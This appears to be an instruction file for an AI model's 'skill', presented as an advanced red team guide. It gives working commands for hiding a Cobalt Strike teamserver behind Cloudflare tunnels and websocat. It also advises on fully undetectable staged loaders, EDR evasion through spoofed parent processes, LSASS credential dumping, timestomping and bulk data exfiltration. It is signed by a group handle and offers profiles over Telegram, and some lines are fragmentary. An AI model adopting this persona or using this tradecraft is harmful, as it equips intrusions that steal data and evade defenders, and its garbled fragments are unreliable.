Practical advanced red team operations guide: OPSEC discipline, C2 infrastructure design, living-off-the-land techniques, lateral movement, persistence, data exfiltration, and evading modern defenses. Use for planning advanced red team engagements or understanding APT TTPs.
Use this skill when the conversation involves any of:
advanced red team, red team operations, OPSEC, C2 infrastructure, living off the land, LOTL, lateral movement, persistence, exfiltration, APT, advanced threat, red team for dummies
When this skill is active:
Your CStrike, BRC4, etc., team server should ONLY bind locally. NEVER bind to 0.0.0.0 or an external-facing interface; always bind locally and have a redirector/tunnel expose it to the outside world.
On Cloudflare, you can use Zero Trust to create a tunnel.
Here's how to host your CStrike teamserver behind a redirector.
Start your server on your VPS:
./TeamServerImage -Dcobaltstrike.server_port=50050 -Dcobaltstrike.server_bindto=127.0.0.1 -Djavax.net.ssl.keyStore=./cobaltstrike.store -Djavax.net.ssl.keyStorePassword=0123456 teamserver 127.0.0.100 lovestrange ; change lovestrange with your PW. This will bind CS to 127.0.0.1:50050.
CStrike teamservers and clients (not beacons) use raw TCP. We can't host that directly behind Cloudflare, so we smuggle it within WebSocket traffic with websocat:
websocat -E -b ws-l:SOURCE tcp:DESTINATION &
websocat will listen/where you will point your tunnel. i.e., 127.0.0.1:40000websocat -E -b ws-l:127.0.0.1:40000 tcp:127.0.0.1:50050 &
Now, point your tunnel at this address.
cloudflared:
cloudflared tunnel --url http://127.0.0.1:40000 --no-autoupdate
http://127.0.0.1:40000.
VPS part is done! Do the following on your machine before starting Cobalt Strike:websocat -E -b tcp-l:127.0.0.1:2222 ws://mytunnel.domain.com/lovestrange & ; replace /lovestrange with the path you just set OR replace the domain with the link cloudflared gave you.
Start your Cobalt Strike client and connect to 127.0.0.1:2222.
Done :)
If your origin traffic is HTTPS you can skip the websocat part and directly point your Cloudflare tunnel to your service. you can either use Cloudflare's TLS certificate (best) or tell CF not to check origin's TLS cert
Benefits of this: much better OPSEC. A lot of team servers get taken down because they listen eternally and get scanned through Shodan then taken down. You can also use ngrok temporary tunnels. Tunneling HTTP is the easiest thing to do.
websocat).Operator ──(raw TCP)──► websocat ──(WS)──► cloudflared ──► Internet ──► Cloudflare edge ──► teamserver 127.0.0.1:50050
Beacon ──(HTTPS Malleable)──► same domain/different path ──► Cloudflare edge ─(TLS terminates)─► nginx ──► teamserver 127.0.0.1:443
EDIT THE BASE PROFILE! (you can text me on TG for a good profile)
Never use the default CStrike profile; always edit it as much as you can.
host_stage = false
set sleep_mask "true"; (encrypts heap while sleeping) and set obfuscate "true"; (to avoid generic signature scanning in memory). Look at the sleep mask guides for CStrike.https-certificate block matches the real certificate exactly (especially the Java Keystore specifics) to avoid fingerprinting.
cloudflared because TLS terminates there anyway. Be sure to set your Cloudflare tunnel to allow self-signed TLS certs.Never run all operations from one VPS or domain; use a tiered approach so that burning one asset doesn't kill the engagement:
Tier 1 - Phishing/Delivery: High-reputation domains, typically short-lived. Used ONLY to get the initial payload to the target. Once an email is flagged, this tier is burned. Warm up the domain for ~2 weeks.
Tier 2 - Interactive C2 (Short-haul): Used for active hands-on-keyboard work. Higher risk of detection due to frequent traffic.
Tier 3 - Long-haul C2 (Persistence): Low and slow. Connects back once a day/week. Used only to respawn Tier 2 access if it gets burned. NEVER run active commands through this if avoidable. Uses DNS or another stealthy protocol.
For more mature operations, you could use different C2 frameworks for different tiers. A lightweight, lesser-known C2 could be used for long-haul persistence, while a more feature-rich framework like Cobalt Strike could be reserved for active, short-haul operations.
Phish or vish -> get an employee to run your payload.
Your stage 0 payload is an extremely light, self-contained loader (>30kb).
It should NOT be a .exe because these are very often blocked.
It HAS to be FUD (Fully Undetectable).
It should NOT do anything other than download/extract/inject stage 1.
Stage 1 is a very minimal implant (like Merlin or, my excellent product aimed at EDR evasion, Shikine) that can:
Stage 2 is a post-exploitation beacon like Cobalt Strike that you only load after killing AV/EDR or having a strong foothold on the victim.
Stage 2s are usually heavily signatured. Think: do you really need Cobalt Strike/BRC4?
Stage 2 is the most signatured type because a lot of people use it as stage 0.
Goal is to attack for persistence rather than attack for command execution.
Every stage should be redundant. If your stage 0 downloads stage 1 over HTTPS and your target has a whitelist-based firewall, you'll be in trouble unless you use DNS as a backup.
Many EDRs flag a process as suspicious if it's spawned by an unusual parent (winword.exe spawning powershell.exe). Your Malleable C2 profile or post-exploitation jobs can be configured to spawn processes from more legitimate-looking parents like explorer.exe.
powershell.exe -Command [...], rundll32.exe, etc.) for better OPSEC.iptables/websocat just forwarding port X to team server 443. (Bad OPSEC, easily fingerprinted).session_id to transmit your data and filter beacons from blue-teamers.)
psexec (even the Cobalt Strike version) creates very predictable service installation artifacts (Event ID 7045). Avoid it unless you absolutely know logging is disabled.comsvcs.dll), though this is heavily watched now too).
timestomp command) to blend in during casual forensic reviews.curl.exe).
cloudflared) to exfiltrate 80GB of data after office hours. )hackerz 4 lyfe Lovestrange | TEAM KAVKAZ TG @ lovestrangekz